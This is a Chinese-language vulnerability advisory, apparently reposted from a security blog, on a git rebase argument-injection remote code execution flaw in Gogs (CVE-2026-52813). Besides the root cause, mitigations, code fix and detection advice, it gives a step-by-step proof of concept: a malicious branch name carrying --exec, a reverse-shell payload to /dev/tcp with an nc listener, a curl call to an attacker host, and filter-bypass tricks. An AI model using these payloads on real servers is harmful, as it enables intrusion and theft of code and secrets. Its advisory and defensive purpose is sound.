文章总结: 该文档分析了Gogsgitrebase参数注入远程代码执行漏洞CVE-2026-52813的技术细节。漏洞成因是Gogs在拼接gitrebase命令时未对用户输入的分支名进行安全校验且缺失参数分隔符,导致攻击者可通过构造特殊分支名实现命令注入。文档提供了完整的POC复现步骤、影响范围评估,并给出了关闭用户注册、禁用rebase合并等临时缓解措施以及代码层修复方案。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,WEB安全,解决方案,安全工具
【高危漏洞预警】Gogs git rebase参数注入远程代码执行漏洞CVE-2026-52813
飓风网络安全
2026年6月25日 21:45 北京
在小说阅读器读本章
去阅读
一、漏洞基础信息总览
二、漏洞原理深度技术分析 2.1 业务背景:Gogs PR合并变基机制 Gogs是轻量级自托管Git代码仓库平台,支持Pull Request(拉取请求)合并功能,其中提供了「合并前变基(Rebase before merging)」选项,用于将目标分支的提交先变基到基准分支,再执行合并,保证提交记录线性。
该功能底层通过调用系统 git rebase命令实现,正常的命令格式为: git rebase <基准分支名> <目标分支名> 2.2 漏洞根因:缺失参数边界分隔符 漏洞的核心成因是Gogs代码未对用户可控的分支名称做安全校验,且拼接git命令时未添加POSIX标准的 — 参数分隔符,导致攻击者可以构造以Git命令行选项开头的特殊分支名,让Git解析器将分支名错误识别为命令参数。
-
代码层问题点: Gogs 后端 Merge() 函数处理变基合并时,直接从PR参数中读取用户提交的源分支名、目标分支名,直接字符串拼接到 git rebase 命令中,未做白名单校验,也未使用 — 分隔选项与位置参数。 伪代码示意(漏洞逻辑): // 漏洞代码:直接拼接分支名到命令 cmd := exec.Command(“git”, “rebase”, baseBranch, headBranch) err := cmd.Run() 当 headBranch 的值为 –exec=’恶意命令’ 时,实际执行的命令变为: git rebase main –exec=’恶意命令’ Git 会将 –exec 识别为合法的 rebase 参数,在每一次变基提交时自动执行其后的系统命令,最终触发任意代码执行。
-
Git –exec 参数特性: git rebase –exec=
是Git原生支持的参数,用于在变基过程中每个提交完成后执行指定的系统命令,原本用于自动化测试、代码检查。攻击者利用该特性,将恶意系统命令通过分支名注入到命令行中,实现无文件、无痕迹的RCE。
2.3 完整攻击利用链路
-
前置准备:若目标Gogs开启默认注册功能,攻击者直接注册普通用户账号;若关闭注册,则获取任意一个拥有仓库写权限的账号即可。
-
构造恶意分支:在个人仓库中创建名称为 –exec=
的特殊分支,提交任意内容后推送到远程仓库。 -
发起PR触发变基:向仓库发起Pull Request,选择「合并前变基」的合并模式,提交PR。
-
触发命令执行:Gogs后端执行合并操作时,拼接恶意分支名调用git rebase,自动执行–exec后的系统命令,以Gogs服务进程权限获取服务器控制权限。
-
后渗透阶段:写入Webshell、反弹Shell、窃取仓库密钥与代码、提权接管整台服务器。
三、漏洞POC复现详细指南 前置声明 本POC仅用于安全研究、企业内部合规测试与漏洞验证,未经目标系统所有者书面授权,禁止对任何非授权目标进行利用测试,违规使用将承担相应法律责任。 3.1 环境准备 • 靶机:部署任意版本Gogs服务,开启用户注册功能,默认配置即可
• 攻击机:安装Git工具,拥有Gogs普通用户账号
• 验证方式:通过写入文件、反弹Shell两种方式验证命令执行
3.2 分步复现操作
步骤1:注册账号并创建测试仓库
-
访问目标Gogs平台,注册普通用户账号(如 attacker)
-
登录后创建一个公开仓库,命名为 poc-test,初始化默认README文件
步骤2:本地构造恶意分支并推送
在攻击机终端执行以下命令,创建以 –exec 参数命名的恶意分支:
克隆测试仓库
git clone http://目标Gogs地址/attacker/poc-test.git cd poc-test
创建恶意分支,分支名包含命令注入payload
注意:使用 — 分隔git checkout参数与分支名,强制git将其识别为分支名称
git checkout -b — –exec=’touch /tmp/gogs_rce_success’
提交任意修改,保证分支有可提交内容
echo “poc test” >> README.md git add README.md git commit -m “test commit”
推送恶意分支到远程仓库
git push origin –exec=’touch /tmp/gogs_rce_success’ 注:若命令包含特殊字符、空格,可使用单引号包裹;若需执行多条命令,可通过 ; 拼接,如 –exec=’id; whoami; curl http://攻击者地址/recv’ 步骤3:发起Pull Request触发变基
-
在Gogs网页端进入仓库,点击「Pull Request」→「新建拉取请求」
-
源分支选择刚才创建的 –exec=… 恶意分支,目标分支选择 main 主分支
-
提交PR后,点击「合并」按钮,在合并选项中勾选 「合并前变基(Rebase before merging)」
-
确认执行合并操作
步骤4:验证命令执行结果
登录Gogs服务器终端,查看 /tmp 目录下是否生成 gogs_rce_success 文件: ls -l /tmp/gogs_rce_success 若文件存在,说明漏洞成功触发,远程代码执行生效。
3.3 进阶Payload:反弹Shell
将分支名替换为反弹Shell payload,即可直接获取服务器交互权限:
创建反弹Shell分支(替换为攻击机IP与端口)
git checkout -b — “–exec=’bash -i >& /dev/tcp/192.168.1.100/7777 0>&1′”
提交并推送分支,后续PR触发步骤同上
攻击机提前开启端口监听: nc -lvnp 7777 触发合并后,攻击机将收到Gogs服务器的反弹Shell,权限与Gogs运行用户一致。
3.4 利用绕过与进阶技巧
-
空格与特殊字符绕过:若分支名存在字符限制,可使用 ${IFS} 替代空格,或通过base64编码解码执行命令
-
无交互触发:若仓库开启了自动合并、CI自动变基功能,攻击者推送恶意分支后无需人工点击,可自动触发漏洞
-
权限提升:若Gogs以root权限运行,漏洞触发后直接获取服务器最高权限
四、影响范围与威胁评估 4.1 受影响主体
-
所有版本Gogs自托管平台:截至2026年6月官方未发布补丁,全版本受影响
-
默认配置风险最高:Gogs默认开启用户自助注册,互联网暴露的实例可被攻击者无门槛注册利用
-
企业内网部署场景:企业内部代码仓库若使用Gogs,一旦攻击者通过社工、弱口令获取普通账号,即可横向渗透研发内网
4.2 实际威胁场景
-
供应链攻击:接管开源项目Gogs仓库,植入后门代码,污染下游使用者
-
代码数据窃取:窃取企业核心代码、密钥配置、账号凭证等敏感数据
-
内网跳板:以Gogs服务器为据点,横向渗透研发内网、CI/CD流水线
-
勒索加密:加密所有仓库代码数据,勒索赎金
五、缓解与修复方案 5.1 紧急临时缓解措施(官方补丁发布前必做)
-
关闭用户自助注册 在Gogs配置文件 app.ini 中设置: [service] DISABLE_REGISTRATION = true 重启服务生效,仅保留内部已知账号,降低攻击面。
-
禁用Rebase合并模式 修改仓库设置,关闭「合并前变基」选项,仅保留普通合并、Squash合并模式,阻断漏洞触发入口。 全局可通过配置文件禁用所有仓库的rebase合并功能。
-
网络访问限制 互联网暴露的Gogs实例增加IP白名单,禁止公网匿名访问;内网实例配置访问控制策略。
-
降权运行Gogs服务 禁止以root/管理员权限运行Gogs进程,使用低权限专用用户启动,降低漏洞被利用后的危害范围。
5.2 官方修复方向(代码层根治方案) 目前Gogs官方尚未发布正式补丁,正确的修复逻辑包含两点:
-
分支名校验:新增分支名格式白名单,禁止以 – 开头的分支名创建与推送
-
命令参数加固:所有git命令调用中,使用 — 分隔选项与位置参数,示例: // 修复后代码:通过–强制后续内容识别为分支名,杜绝参数注入 cmd := exec.Command(“git”, “rebase”, “–“, baseBranch, headBranch) 六、入侵检测与排查方法
-
日志排查 检查Gogs操作日志,是否存在异常命名的分支、可疑的PR合并记录
排查系统审计日志,Gogs运行用户是否执行了异常系统命令、创建了陌生文件
检查Git操作日志,是否包含 –exec 特征的异常rebase命令
- webshell与后门排查 扫描Gogs网站根目录、仓库存储目录,是否存在陌生的脚本文件、一句话木马
排查系统定时任务、启动项、SSH密钥,是否存在攻击者植入的持久化后门
- 漏洞批量检测 企业资产测绘时,可通过指纹识别Gogs实例,结合账号权限验证是否存在漏洞风险。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:飓风网络安全 《【高危漏洞预警】Gogs git rebase参数注入远程代码执行漏洞CVE-2026-52813》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论